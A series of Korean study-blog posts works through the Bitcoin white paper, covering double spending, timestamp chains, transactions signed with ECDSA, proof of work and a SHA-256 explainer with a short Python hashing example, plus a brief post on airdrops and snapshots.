반응형

지난 글에서 비트코인 백서(White Paper)를 읽어보며, 비트코인의 이중지불 문제가 무엇이고, 왜 발생했는지 등에 대해 알아보았다.

(아래 링크 참고)

https://nullorm.tistory.com/38

 

[Bitcoin] 블록체인 기술공부 / 비트코인 백서 공부 (1. 초록) / 이중지불 문제

블록체인 공부를 시작했는데, 무엇을 먼저 시작해야할지 모르겠고, 무작정 기술로만 들어가면 중간에 흥미를 잃을 듯 하여 코인들의 목적, 원리 등을 직접 까(open)보면서 공부해보려고 한다. 공

nullorm.tistory.com

이번 글에서는 이중지불 문제를 비트코인에서 어떻게 해결했는지 살펴보도록 하자.

1. 이중지불이 뭘까?

짚어보지도 않고 넘어가는건 좀 그래서 일단 간단하게 짚고만 넘어가겠다.

 

이중지불(double spending)은 말 그대로 하나의 디지털 통화 단위를 두 번 이상 지출하는 행위를 말한다.

정보 공간의 특성으로 인해 물리적 공간과 비교할 때 디지털 토큰 또는 자산은 무한히 복제 또는 위조가 가능할 수 있다. 

(예시1: 동일한 주식, etf 등이 ctrl+c/v 된다고 간단하게 생각하면 된다.) 

(예시2: A가 B, C에게 1달러를 보내고 싶은데, 1달러라고 보증되어있는 파일을 B와 C에게 모두 보내버리면, 돈이 복사되는 것이다.)

이는 P2P 방식의 거래에 있어 근본적인 골칫거리였다. (돈이 무한 복사가 되면 아무래도..) 

 

따라서 기존의 시스템에서는 은행이라는 중개기권을 두고, "신뢰받는" 중개기관이 보관하고 있는 기존 데이터를 기반으로 개인이 데이터를 임의로 복사할 수 없게 만들었다.

 

2. 비트코인 백서: 타임스탬프 서버(Timestamp Server)

사토시는 중개기관이 없는 전자화폐 거래 시스템에 있어 가장 큰 문제였던 이중지불 문제를 타임스탬프 서버라는 간단한 개념을 통해 해결하였다.

우리가 제안하는 솔루션은 타임스탬프 서버로 시작한다. 타임스탬프 서버는 타임스탬프가 찍힌 항목 블록의 해 시값을 가져가고 그 값을 신문이나 유즈넷(Usenet) 게시물처럼 널리 배포하는 식으로 작동한다.
이 타임스탬프는 그 데이터가 해시 처리에 들어가기 위해 명백히 그 시점에 존재했음을 증명한다.

1. 타임스탬프란?

그대로 직역하면 시간 도장 이라는 의미인데 말 그대로 특정한 사건 시점에 도장을 찍는다고 보면 될 것 같다. 사건이 발생해서 컴퓨터에 기록된 시간을 뜻하는데, 주로 어떤 사건이 발생한 시간을 비교하거나 두 작업 사이에 어느정도의 시간이 경과되었는지를 계산하기 위해 사용된다.

그런데, 이렇게 '시간'이라는 개념만 가지고 비트코인의 타임스탬프를 정의하기는 쉽지 않다. p2p(person-to-person)거래의 특성상, 타임스탬프가 찍힌다고 하면 각 개인의 컴퓨터 시간 간의 차이가 있을 수 있기 때문에 이것에만 의존한다면 수많은 문제가 발생하게 될 것이다. 따라서, 비트코인에서의 타임스탬프는 '시간'이 아닌, '순서'의 개념으로 봐야할 듯 하다.즉, 이렇다고 볼 수 있겠다.

 

이러한 타임스탬프가 어떻게 이중지불 문제를 해결한 것일까?

위의 예시 중 하나를 다시 가져와보자. 

A가 B, C에게 1달러를 보내고 싶은데, 1달러라고 보증되어있는 파일을 B와 C에게 모두 보내버리면 이중지불이 가능해진다.

이 문제를 타임스탬프의 개념을 가지고 해결해보자. 

A가 B와 C에게 동시에 1달러를 송금했는데, 트랜잭션 처리 순서에 따라 둘중 어느 데이터이든지 간에 먼저 처리된 트랜잭션이 먼저 체인에 올라갔을 것이다. 아까도 말했듯, 이 타임스탬프는 시간이 아니라 순서를 나타낸다고 하였다.

따라서, B에게 송금이 먼저 이루어졌을 때, C에게도 송금을 하려는 시도를 하게 된다면, 이전 블록에 A-B간 트랜잭션이 올라가있을 것이기 때문에, 해당 트랜잭션은 체인의 맨 끝에 추가되지 않고, 버려지게 되는 것이다.

 

네트워크의 입장에서 말해보자면, 네트워크는 두 트랜잭션 중 어느 것이 먼저 블록에 포함되었는지를 확인할 수 있으며, 첫 번째 트랜잭션(A-B)가 블록체인에 기록되면, 그 이후에 시도되는 동일 자산에 대한 모든 다른 트랜잭션은 유효하지 않게 된다.

 

이렇게, 어떻게 타임스탬프라는 개념이 비트코인의 이중지불 문제를 해결하게 되었는지 알아보았다. 

그렇다면, 이 타임스탬프 서버가 어떻게 구성되고 만들어지는지 알아보자.

각 타임스탬프는 그 해시 안에 직전 타임스탬프를 포함해 체인을 형성하며, 추가되는 각 타임스탬프가 그 이전 타임스탬프를 강화한다.

 

위의 말을 보면, 타임스탬프가 만들어지는 방식과, 이것이 비트코인 네트워크를 강화하는 것에 대해 이야기하고 있다.

이를 중심주제로 잡고 설명해보겠다. 

 

비트코인백서: https://bitcoin.org/files/bitcoin-paper/bitcoin_ko.pdf

백서에 이렇게 설명되어있어서 한번 가져와보았다.

 

내가 설명하기 편하게 다시 그림을 그려보았다.

위와 같은 구조로 블록체인 타임스탬프가 이루어져있다고 볼 수 있을 것 같다.

1. 구성 방식

비트코인의 블록타임(BLock Time)은 약 10분정도이다. 10분에 한 번씩 새로운 블록이 생성된다는 이야기이다. 그래서 비트코인 네트워크에서는 여러 트랜잭션들을 한데 모아 트랜잭션들을 처리하는데, 위의 그림대로 보자면, 이전블럭(블록1)의 해시값고, 추가하고자 하는 블록(블록2)를 같이 해싱하여 다음 블록(블록2)로 만들어버린다. 이러한 방식으로 계속해서 체인을 이어나가는 것이다. 자, 그런데 이전 블록의 해시를 왜 다음 블록을 구성하는 데 넣는 것일까?

이어서 살펴보도록 하겠다.

2. 어떻게 타임스탬프를 '강화' 한다는 것일까?

다음 블록을 구성하는 데 이전 블록의 해시값을 넣는 이유는 바로, 타임스탬프는 '시간'이 아닌, '순서'를 기록하는 것이기 때문이다. 순서를 기록함으로써 이중지불 문제가 해결되기 때문. 그런데, 이제 또 문제가 발생할 수 있다. 만약, 악의적인 공격자가 이중지불을 하기 위해 이전 트랜잭션의 정보가 들어있는 블록의 정보를 바꿔버린다면? 

그래서 위와 같은 방식을 사용하는 것이기도 하다.

붉게 표시된 블록 정보가 악의적으로 변경된다고 하면, 블록2의 정보는 달라지게 될 것이다. 그런데, 그렇게 된다면 블록2의 해시값은 기존에 존재하던 해시값과 달라지게 될 것이다. 그렇다면, 공격자는 블록2의 값을 변경하기 위해 (4. 작업증명) 에서 다룬 작업증명의 과정을 거쳐 본인의 data2를 블록2에 삽입해야 하고, 그렇게 되면 이후에 있는 블록3, 블록4 ... 모든 블록의 데이터를 다시 검증하고 체인에 추가하는 과정을 거쳐야 하는 것이다.

이러한 과정을 성공시키는 것은 불가능에 가깝기 때문에 (실제로 이러한 방법으로 데이터를 위조한 사례가 현재까지 0건이다.) 타임스탬프는 거의 완벽한 보안성을 띠고있다고 할 수 있으며, 이런 암호학적 방법이 기존의 은행을 신뢰하는 것보다 더욱 강력하다는 것이 사토시의 의견이다.

 

작업 증명에 대한 내용은 이미 다룬 적이 있기 때문에 그 내용이 궁금하다면 들어가서 읽어보는 것을 추천한다.

 

[Bitcoin] 블록체인 기술공부 / 비트코인 백서 공부 (4. 작업증명(PoW))

지난번 포스팅에서 다뤘었다. 대체 PoW가 무엇인가!!! 작업증명이 그래서 뭔데!!! 자. 지금부터 한번 시작해보도록 하자. 라는 말을 쓰는 지금 시점에서, 나는 작업증명이 뭔지 모른다. 따라서, 이

nullorm.tistory.com

반응형
반응형

블록체인 가상화폐를 대표하는 비트코인은 채굴, 검증 등 모든 수학적 과정 안에 이 SHA-256이라는 알고리즘이 등장하는 것으로 보인다. 

 

사실 해시알고리즘까지 알아야하나? 싶긴 하지만 그래도 일단 코인수학&암호학 이라는 카테고리를 만든 김에 첫 번째 수학적 내용으로 적절해보이긴 해서 공부해보았다.

 

1. SHA-256?

SHA-256은 메시지, 파일 암호화 또는 무결성검증 등에 널리 사용되는 일방향 암호화 해싱 알고리즘이다. 

대상 데이터를 256-bit 길이의 hash값으로 변환하는 역할을 한다. 

해시 알고리즘의 가장 큰 특징은 암호화 대상 데이터(평문)의 값이 아주 조금만 달라져도 결과값(암호문)이 크게 달라지는 것이다.

 

한번 예시와 함께 살펴보자.

2. 예시 (python)

import hashlib

data1 = "helloWorld"
res1 = hashlib.sha256(data1.encode()).hexdigest()
data2 = "hellWorld"
res2 = hashlib.sha256(data2.encode()).hexdigest()

print("res1:", res1)
print("res2:", res2)

비슷한 두 data를 SHA-256으로 암호화했는데, 너무나도 다른 결과값이 출력되었다.

res1: 11d4ddc357e0822968dbfd226b6e1c2aac018d076a54da4f65e1dc8180684ac3
res2: 83c111ea0677450e0293e71274de14f832a2a0293192a8bff29fee2fb7a86ed4

이를 통해 hash함수의 특징인 일명 '눈사태 효과'를 확인할 수 있었다.

3. SHA-256의 특징

  • 우선 SHA-256은 블록체인에서 가장 많이 채택하여 사용되고 있다.
  • 단방향성: 평문을 암호화했을 때, 다시 평문으로 복호화할 수 없다. 평문은 임의의 길이의 메시지이며, 이를 암호화하면 256-bit의 축약된 메시지로 출력된다. 데이터의 수정/변경을 검사하는 데 사용할 수는 있지만 인증은 불가능하다. 인증을 위해서는 메시지 인증 코드(MAC)과 디지털 서명(전자서명)이 요구된다.
  • 안전성: 이전버전인 SHA-1의 경우, 해시 충돌이 발견된 사례가 있기 때문에, 이와 크게 다르지 않은 256의 경우에도 안전성이 완벽하다고 하기는 어려울 것이다. 하지만, 양자컴퓨터와 같은 초성능 컴퓨터가 발명되기 전까지는 뚫기 어려울 것으로 보고 있다.
  • 블록체인에서는 SHA-256의 취약점이 발견되는 일이 있다고 하더라도, 하드포크와 같은 알고리즘 개선 기법을 이용하면 이러한 문제를 해결할 수 있다.

4. SHA-256의 구조

사실 SHA-256의 구조라기보다는 해시함수 암호화 과정의 구조라고 할 수도 있을 것 같다.

1. 전처리

전처리 단계에서는, 메시지를 512bit 블록으로 처리하는 과정을 거친다. 우선 메시지는 메시지 길이를 나타내는 64비트 값으로 끝나도록 패딩되고, 최종적으로 길이가 512비트의 배수가 된다.

2. 초기 해시 값 구성

SHA-256은 초기 해시 값으로 시작하는데, 이 값은 8개의 32bit word로 구성되어있다. 

3. 메시지 스케줄링

각 512비트 메시지 블록은 64개의 32bit 워드로 확장된다. (진짜 '확장'임) 이렇게 메시지 스케줄 배열이 만들어지고, 초기 16개의 워드는 메시지 블록에서 직접 가져온 것이며, 나머지 48개는 특정 연산을 거쳐서 만들어진 것이다.

4. 압축함수 실행

초기 해시값과 메시지 스케줄 배열을 사용해서 SHA-256 알고리즘은 64라운드의 압축함수를 실행함(64라운드는 좀 많네..) 각 라운드에서는 주요 두 가지 연산을 실행하게 된다. 확장된 메시지와 라운드 상수를 포함하는 모듈라 덧셈, 그리고 논리 함수가 수행된다고 한다. 그 결과, 8개의 해시값이 업데이트 된다.

이 부분을 자세히 다뤄보고싶긴 하지만,,, 뭔가 해시함수에는 흥미가 안생긴달까... 나중에 좀 수학적으로 재밌는것들 위주로 깊게 파고들어가보겠다..!! ㅎ

5. 최종 해시값 생성

모든 메시지 블록이 처리되면, 마지막 블록의 압축 결과는 이전블록의 결과와 함쳐져 최종 해시값을 형성한다.최종 값은 8개의 32bit word로 구성되어, 총 256bit 크기의 해시 값을 결과로 얻게 되는 것이다.

 

이렇게 대략적으로 SHA-256해시에 대해 좀 알아보았다.

다음부터는 암호 프로토콜과 같은 내용이나, 공개키 암호 시스템 등에 대해서도 알아보도록 하자.

반응형

'web3 > web3 crypto' 카테고리의 다른 글

circom을 이용한 zkp 생성 및 검증하기  (0) 2025.01.09
반응형

지난편에 이어서 이번 포스팅에서는 비트코인의 거래(Transaction)에 대해 한번 공부해보도록 해야겠다.

 

등장하는 단어들이 다소 어려운 감이 없지않아 있기 때문에, 정말 하나하나 다 설명하면서 넘어가보도록 하겠다.

 

비트코인 백서: 2. 거래

우리는 전자 화폐(electronic coin)를 디지털 서명의 체인으로 정의한다.

 

비트코인에서 정의한 전자화폐(가상화폐)는 바로 '디지털 서명의 체인'이라는 방식인 것이다. 이게 무슨 말일까?

우선 그 전에, 디지털 서명을 전자서명과 헷갈릴 수 있을 것 같아 이 둘의 차이점을 짚으면서 개념을 확인해보자. 차이점이라기 보다는 범주의 차이? 정도이다. 전자서명 안에 디지털서명이 있다.

전자서명?

미 전자 상거래법에서는 전자 서명을 전자적 수단에 의해 생성,전송,전달,수신 또는 저장되는 서명의 역할로 계약을 위해 포함되거나 논리적으로 만들어진 기호, 또는 프로세스라고 정의하고 있음.

즉, 비밀번호, PIN, 이메일 인증등이 포함된다고 할 수 있음.

디지털서명?

해싱, 서명, 검증 이 세 가지 알고리즘으로 이루어진 전자서명의 일종이라고 볼 수 있음. 디지털서명에 대해 좀 더 자세히 다루고 싶긴 하지만, 거기까지 가면 불필요하게 내용이 깊어질 듯 하여 일단은 넘어가도록 하겠다.

어쨋든, 디지털 서명이 어떤 역할을 하는지 알아보자면,

  1. 무결성 보장: 거래 데이터가 서명 과정을 통해 암호화되므로, 데이터가 전송 중에 변경되면 서명이 무효화됩니다. 이는 거래의 무결성을 보장한다.
  2. 비역전성: 한 번 거래가 서명되고 네트워크에 의해 확인되면, 거래를 실행한 사람은 그 거래를 부인할 수 없다.

계속 읽다보면 알겠지만, 비트코인은 화폐의 개념보다는, 디지털 서명과 이전 기록들(체인들)의 연속체라는 개념으로 받아들이는 것이 좋을 것이다. 

 

일단 이정도만 알고, 다음 과정으로 넘어가보자.

출처:  https://bitcoin.org/files/bitcoin-paper/bitcoin_ko.pdf

 

각 화폐 소유자는 자신에게 그 화폐를 보낸 직 전 거래 명세(the previous transaction) 및 그 화폐를 받는 다음 소유자의 공개키 (the public key of the next owner)를 해시 처리한 값에 디지털 방식으로 서명하고 이를 화폐 끝에 추가해 다음 소유자에게 송금한다. 수취인(payee)은 그 서명을 검증해 화폐 소유권의 체인을 검증할 수 있다.

 

잠깐 개념정리

1. 공개키와 개인키

다소 어려운 문장들인 것 같다. 천천히 살펴보자. 우선 여기에 공개키, 개인키라는 용어가 등장하는데, 비트코인에서는 타원곡선 디지털 서명 알고리즘(ECDSA: Eliptic Curve Digital Signature Algorithm)을 이용하여 전자서명(디지털서명)을 수행한다. 이 때 사용되는 key들이 바로 위 그림에 등장하는 공개키와 개인키인 것이다.

공개키는 같은 네트워크의 모든 참여자들이 알 수 있도록 하는 키이며 (검증 등에 사용된다.)

개인키는 본인 이외에는 아무도 몰라야 하는 키이다.(서명 등에 활용된다. )

 

2. 해시

비트코인에서의 해시(Hash)는 암호학적 해시(Cryptographical Hash)라고도 부르는데, 암호학적으로 무결?한 해시라는 말인 것 같다. 기본만 말하자면 해시는 일방향함수라고 할 수 있다. 즉, 역함수가 존재하지 않는 함수인데, 랜덤한 길이의 입력값에 대해 항상 같은 길이의 결과를 출력하는 알고리즘이라고 볼 수 있겠다. 비트코인에서 사용하는 해시알고리즘인 SHA-256의 경우, 랜덤한 길이의 Input에 대해 256-bit 길이의 출력값을 뱉는다.

 

그림이 너무 위에 있어 다시 그림을 가져왔다. 

출처:  https://bitcoin.org/files/bitcoin-paper/bitcoin_ko.pdf

 

위 그림에서 왼쪽부터 user 1, 2, 3이라고 해보자.

user1은 user2에게 비트코인을 송금하는 트랜잭션을 수행하고 싶다.

이 경우, 위에서 설명한대로 직전 거래 명세(user1이 가지고 있는 비트코인 거래 data: 위 그림에서는 첫 번째 블록에 대한 데이터이다.) + 다음 소유자(수취인)의 공개키(user2의 공개키)를 SHA-256으로 해싱하여 그 값을 본인(user 1)의 개인키를 이용하여 ECDSA 알고리즘에 서명하여 다음 소유자(user2)에게 송금한다.

그리고, 다음 소유자인 user2는 user1의 공개키를 이용하여 검증할 수 있다.

 

굵게 표시한 부분이 이해가 좀 힘들 수 있다. 그런데... 이정도 설명이 최선인 듯 하여 두세번 더 읽어보며 이해해보기 바란다. 

 

문제 및 해결?

이 과정의 문제는 화폐 소유자 가운데 이중지불(double spending)하지 않은 한 사람을 수취인(user2)가 검증할 수 없다는 점이다. 이에 대한 기존 사회의 솔루션은 신뢰받는 중앙통제기관이나 조폐국을 세우고 모든 거래마다 이중지급 여부를 점검하는 것이다. 거래를 마칠 때마다 이 화폐는 조폐국으로 회수되어 새로운 화폐로 발행돼야하며, 조폐국에서 직접 발행된 화폐만이 이중지급되지 않았다는 신뢰를 받는다(여러 인증 수단을 통해서...)

 

이 솔루션을 적용할 때 문제는 마치 은행처럼 모든 거래가 거쳐가야 하는 조폐국 운영 회사 또는 기관에 전체 통화체계의 운명이 달려있다는 것이다.

 

따라서 비트코인에는 직전화폐(이전 거래내역) 소유자가 앞서 어떤 거래에도 서명하지 않았음을 수취인에게 알릴 수단이 필요하다. 이런 목적에 따라 비트코인은 가장 앞선(가장 먼저 실행된) 거래 하나만을 인정하고, 뒤따르는 동일한 출처의 이중지급 시도를 모두 무시하도록 하는 솔루션이 필요하다.

 

이중지급 거래가 없음을 확인할 유일한 방법은 모든 거래를 인식하는 것 뿐이다. 조폐국 기반 모델에서, 그들은 모든 거래를 인식했고(서버 등의 중앙 데이터베이스를 통해.) 어느 거래라 최초의 거래인지를 인식하고 결정했다.

 

신뢰받는 제삼자 없이 이 방식을 달성하려면, 거래는 1. 공개적으로 알려져야하고, 2. 참가자가 받은 거래 순서의 이력(코인 송금)에 합의하는 시스템이 필요하다.

 

또한, 수취인(user2)에게는 각 거래 당시 그게 최초로 받은 것이라고 노드 다수가 동의했다는 증명이 필요하다. 

 

이를 해결하는 것이 다음 챕터에서 다룰 타임스탬프 서버이다.

반응형
반응형

지난번 포스팅에서 다뤘었다. 

대체 PoW가 무엇인가!!! 작업증명이 그래서 뭔데!!!

자. 지금부터 한번 시작해보도록 하자. 라는 말을 쓰는 지금 시점에서, 나는 작업증명이 뭔지 모른다.

따라서, 이 글을 읽는 사람들에게 누구보다 모르는 사람의 관점에서 잘 설명할 수 있지 않을까? (라는 희망.)

 

1. 서론

블록체인 네트워크에서 비트코인은 블록체인에 새로운 블록을 추가하는 방식으로 조폐(화폐를 제조) 및 송금을 한다.

작업증명은 이 조폐 및 송금에서 사용되는 트랜잭션(Transaction: 거래)시에 이를 거래하는 방법이다. 

나카모토 사토시의 비트코인 백서에는 이런 말이 있었다(비트코인 백서 서론)

필요한 것은 신뢰 대신 암호학적 증명(cryptographic proof)에 기반해, 거래 의사가 있는 두 당사자가 신뢰받는 제삼 자를 찾지 않고 서로 직접 거래하게 하는 전자 결제 시스템이다.

 

즉, 거래를 중개하는 중개 플랫폼(은행 등)을 신뢰해야만 개인 간의 거래가 가능했던 이전의 방식이 아닌, 암호학적 증명에 기반하겠다는 말이다. 이는 곧, 사람, 시스템을 신뢰하는 데에는 어떻게든 오류가 생길 수 있으니, 절대적인 수학을 믿겠다는 말로 들린다. 

 

2008년 글로벌 금융위기 사태 직후, 금융위기 조사위원회(FCIC)는 525페이지 분량의 보고서에 이런 말이 있다.

"당시의 위기는 인간의 행동과 무대책의 결광지, 천재지변이나 컴퓨터 모델 문제가 아니다. 셰익스피어를 인용하자면 잘못은 저 별들이 아니라 우리에게 있다." 즉, 2009년의 나카모토 사토시는 인간에 의해 만들어진 금융시스템을 신뢰하기보다는, 보다 믿을 수 있는 수학적(암호학적 증명) 방법에 기댔다고 볼 수 있겠다.

 

그렇다면, PoW는 대체 뭘까?

 

 1. PoW(Proof of Work: 작업증명)

비트코인의 전체적인 구조를 살펴보자.

자, 시장이 처음 생기면 일단 어떻게 해야하는가?

1. 화폐를 만든다(찍는다)

2. 화폐를 시장에 공급한다.

3. 시장 구성원들이 화폐와 재화를 거래하며 화폐를 거래한다.

전체적으로 보면 이러한 구조가 될 것이다. 그런데, 각각의 단계를 어떠한 주체가 담당하는지 살펴보자.

 

1. 중앙은행에서 화폐를 발행한다.

2. 은행이 시장에 화폐를 공급한다.

3. 구성원들이 화폐를 거래한다(전자화폐의 경우, 이중지불문제와 보안을 위해 은행의 중개가 필요)

결국, 모든 과정에서 은행은 필수불가결의 요소이다.

하지만, 비트코인은 무엇인가?

바로 은행이 존재하지 않는, 은행을 신뢰하지 않는, 수학을 믿는 전자화폐이다. 이러한 과정들에서, 은행을 대신할 수 있는 요소로 등장하는 것이 바로 PoW, 작업증명이다.

 

작업증명이 비트코인에서 어떠한 기능을 하는지 가볍게 일단 한번 보자.

1. 채굴자는 화폐를 발행하고 이를 시장에 공급한다.(물론 바로 공급을 하지 않을 수 있겠지만.. 이들도 돈을 벌어야지)

2. 구성원들이 화폐를 거래한다.

 

해당 두 과정이 위의 세 과정을 압축했다고 볼 수 있다. 작업증명(PoW)는 이 두 과정 모두에서 작동한다.

 

우선, 조폐(1번)의 과정에서는, 화폐 발행인(채굴자)에게 일(채굴)을 했다는 것을 증명하도록 하여 화폐를 발행한다.

중앙집권화되지 않은 탈중앙화된 블록체인의 조폐 과정에서는 처음 만들어진 알고리즘 이외에는 누가 얼마의 화폐를 받을 지 결정할 수 있는 중앙 권력이 없기 때문에 모든 참여자들이 자동으로 동의할 수 있는 방법이 필요하다.

 

그렇다면, 채굴자는 어떤 문제를, 어떤 해시함수를 계산한다는 것일까? 간단하게 그림으로 한 번 알아보자.

비트코인의 작업증명 방식을 간단하게 그림으로 나타내보았다.

우선, 작업증명은 SHA-256과 같은 해시연산을 거쳐 이루어지는데, 

과정은 이러하다.

Hash(이전 블록의 해시값 || 생성할 블록의 트랜잭션 data || 임의의 Random한 Nonce) < 목표값

을 달성할 경우, 작업증명에 성공했다고 보는 것이다.

이와 관련하여 백서에서는 어떻게 이야기하는지 살펴보자.

우리는 타임스탬프 네트워크용으로 블록의 해시에 주어진 0 비트들을 모두 발견할 때까지 블록 안에 임시값을 증가시키는(incrementing a nonce) 것으로 작업증명을 구현했다.

 

이 말이 위에서 한 말과 같은 말로 받아들이면 될 것이다.

이게 대체 뭔 과정이길래 이정도만으로도 작업증명이 된다는 것일까?

답은 바로 Hash함수의 일방향적 특성에 있다.

 

수학적(암호학적)으로, 해시(Hash)함수는 일방향함수이기 때문에, 이를 역산하는 것이 무차별 대입(Brute Force)이외에는 방법이 없다는 점에 착안하여, 모든 채굴자가 해시함수를 계산해 가장 먼저 계산한 사람이 새로 발행되는 비트코인을 받아가는 구조이다.

 

또한 작업증명(PoW)는, 다수결의 체인의 대표성을 결정하는 문제도 해결한다. 만약, 1 IP당, 1표에 기반한 다수결로 검증을 진행하게 된다면, 한번에 수많은 IP를 할당할 수 있는 누군가(악의적인 공격자)에 의해 해당 네트워크 전체가 장악될 수 있다. 위에서 소개한 다수결은 기본적으로 CPU당 1표이다. 다수결의 결과는 가장 많은 자원이 사용된 작업증명들의 가장 긴 체인이 된다(즉, Hash Rate가 가장 높은 체인이 가장 긴 체인이 된다.) 정직한 노드들에 의해 다수의 CPU파워가 통제된다면, 가장 정직한 체인이 가장 빠르게 늘어나 다른 경쟁 체인들을 압도할 것이다.

 

또한, 과거 블록을 수정하려면 공격자는 해당 과거 블록의 값에 대한 작업증명을 재수행해야하고, ( Hash(해당 블록의 이전 블록 해시 값 + 변경하고자 하는 데이터 + Nonce) 를 다시 해야함.) 또한, 해당 블록 이후의 모든 타임스탬프의 블록에 대하여 모든 연산을 재수행해야 하는 문제가 생긴다. 또한, 이러한 작업을 가장 정직한 노드들의 작업 속도를 따라잡아야 그것이 가장 무결한 노드라는 것을 인정받을 수 있다. 

따라서, 비트코인은 그 구조상 블록의 수가 늘어날수록 블록의 위/변조가능성은 거의 0에 수렴하게 된다는 것을 알 수 있다.

 

또한, 실제로 발생한 문제이기도 하지만, 채굴자들은 자원을 아끼기 위해 기존 CPU의 수만배 파워를 내는 채굴기를 개발해내었다. 이러한 상황에서 채굴의 난이도는 상대적으로 쉬워질 수 밖에 없기 떄문에, 초기 알고리즘은 채굴의 난이도 (위 그림에서는 목표 값)를 시간당 평균 블록 수에 따른 평균 목표값을 조정하여 결정하도록 하였다.

즉, 블록들이 너무 빠르게 생성된다면 채굴 난이도는 높아진다는 것이다(목표값이 낮아진다는 것이다.)

 

3. 마치며...

이렇게 작업증명에 대한 기본적인 개념들을 다루어보았다.

다소 수학적인 내용이 등장할 것이라고 예상했었지만, 해시함수 이외에는(이것도 별 수학적으로 접근하지는 않았지만...) 그런 내용은 없었던 것 같다.

작업증명(Proof of Work) 이외에도 지분증명(Proof of Stake)라는 개념이 존재하는데, 이는 나아아중에 다뤄보도록 하겠다.

 

글 읽어주셔서 감사하옵니다^^

 

반응형
반응형

얼마 전, 업비트를 돌아다니다가 우연히 '에어드랍'이라는 용어를 보게 되었다.

전부터 계속 들리는 말이라서 인지는 하고있었는데, 갑자기 문득 정확한 뜻이 뭔지 알아보고싶어졌다.

업비트의 돈다무 NFT 에어드랍 공지

 

암튼, 그 뜻을 보면, 에어드랍(airdrop)이란 공중(air)에서 떨어뜨린다(drop)는 뜻으로서, 기존 암호화폐 소유자들에게 무상으로 코인을 배분하여 지급하는 행위를 말한다.

주식의 무상증자, 배당락과 비슷한 뜻으로 쓰인다고 한다.

 

스냅샷(Snapshot)

그런데, 이런 에어드랍과 함께 쓰이는 스냅샷이라는 용어도 있는데, 이는 에어드랍을 해줄 유저를 인증하는 것과 같다고 볼 수 있다. 

에어드랍을 하게 될 경우, 어떠한 코인을 가지고 있는 유저에게 에어드랍을 해주게 되는데, 그 코인을 가지고 있는지 여부를 인증하는 것이다. 스냡샷을 통해 코인을 가지고 있다는 것이 인증 되면, 에어드랍을 받을 수 있게 된다.

이런 이유로, 스냅샷 전에 코인 가격이 상승하고, 이후에 하락하는 것이 보통이다.

 

반응형
반응형

블록체인 공부를 시작했는데, 무엇을 먼저 시작해야할지 모르겠고, 무작정 기술로만 들어가면 중간에 흥미를 잃을 듯 하여 코인들의 목적, 원리 등을 직접 까(open)보면서 공부해보려고 한다.

 

공부를 하는 것이기 때문에 "~인 것으로 보인다"라는 워딩이 많이 들어가는건 양해해주시길..

 

또한 이번 글에서는 개요 및 초록, 그리고 몇 중요한 개념들에 대해서만 정리해보고 다음 글부터 본격적으로 시작해보려 한다.

 

1. 개요

비트코인은 가명의 기술자 '나카모토 사토시'가 블록체인 기술을 기반으로 개발한 최초의 디지털 자산. 기존 화폐(원, 달러)와 달리 정부, 은행 등의 개입 없이 미리 만들어진 알고리즘에 의해서만 발행되며, 거래 내역은 P2P네트워크에 참여한 사용자들에 의해 검증 및 관리되는 구조이다.

재래 통화의 근본적인 문제는 그것이 작동하게 하는데 필요한 모든 신뢰입니다. 중앙은행은 통화 가치를 떨어뜨리지 않도록 신뢰할 수 있어야 하지만, 화폐 통화의 역사는 그 신뢰의 위반으로 가득합니다. -나카모토 사토시

2. 비트코인 백서

2-1. 백서가 뭐지

백서(White Paper).

공식 문서라는 뜻으로 불린다. 보통 정부나 기관의 공식 문서들을 보면 흰 종이에 출력되어있어서 이런 이름으로 불리는 것 같다.

 

https://bitcoin.org/files/bitcoin-paper/bitcoin_ko.pdf

비트코인 백서 한글버전이다.

 

한번 제대로 읽어보자. 블록체인에 필요한 여러가지 기초적인 개념들이 등장하기 때문에 같이 따라가보자.

2-2. 초록

우선 초록은, 학술논문과 같은 문서의 시작 부분에 작성 목적 및 주요 결론 등을 요약하여 설명하는 글이다.

이를 읽어보면, 나카모토 사토시라는 사람이 어떠한 목적으로 비트코인을 개발했는지 알 수 있다.

 

전적으로 개인 대 개인 버전인 전자 화폐(Electronic Cash)는 금융기관을 거치지 않고 한쪽에서 다른 쪽으로 직접 전달되는 온라인 결제(payments)를 실현한다. 전자 서명은 솔루션 일부를 제공하지 만, 이중 지급(double-spending)을 막기 위해 여전히 신뢰받는 제삼자(trusted third party)를 둬야 한다면 그 주된 이점을 잃는다. 우리는 개인 대 개인 네트워크를 사용해 이중 지급 문제를 해결하는 솔루션을 제안한다.

즉, 기존에 사용되던 전자 화폐(인터넷 금융거래, 디지털 금 거래 등을 말하는 것으로 보인다.)의 경우에도, P2P거래가 가능했지만, 이 역시 이중지불 문제를 해결 위해 서드파티의 개입(기관, 플랫폼 등)이 필요했기 때문에 진정한 P2P 즉, 탈 중앙성이 실현되기 어려웠다. 따라서 이중지불의 문제가 없는 P2P 솔루션으로 비트코인을 제안하였다.

 

여기에서 주목하고 넘어가야 할 말은 마지막줄의 '네트워크'라는 개념으로 보인다. 

여기서 말하는 네트워크란, 현재의 블록체인의 기반을 이루고 있는 블록체인 네트워크를 말하는 것 같다.

 

그런데, 이중 지급 문제를 해결하겠다고 하는데, 기존의 문제라던 이중 지급이 뭘까?

2-2-1. 이중지불 문제

이중지불(double spending)은 말 그대로 하나의 디지털 통화 단위를 두 번 이상 지출하는 행위를 말한다.

정보 공간의 특성으로 인해 물리적 공간과 비교할 때 디지털 토큰 또는 자산은 무한히 복제 또는 위조가 가능할 수 있다. 

(예시1: 동일한 주식, etf 등이 ctrl+c/v 된다고 간단하게 생각하면 된다.) 

(예시2: A가 B, C에게 1달러를 보내고 싶은데, 1달러라고 보증되어있는 파일을 B와 C에게 모두 보내버리면, 돈이 복사되는 것이다.)

이는 P2P 방식의 거래에 있어 근본적인 골칫거리였다. (돈이 무한 복사가 되면 아무래도..) 

따라서 기존의 시스템에서는 은행이라는 중개기권을 두고, "신뢰받는" 중개기관이 보관하고 있는 기존 데이터를 기반으로 개인이 데이터를 임의로 복사할 수 없게 만들었다.

 

사토시는 이렇게 생각한 것 같다 - 이중지불 문제로 인해 이를 해결하려는 중개기관이 생겨났고, 그들은 수수료라는 개념을 통해 거래비용을 발생시킨다. 이를 없애기 위해 정말 순수한 개인간의, 탈중앙화된 거래시스템을 만들어보자. 라는 내용으로 백서가 시작한다.

 

다시 돌아와서, 좀 더 읽어보자.

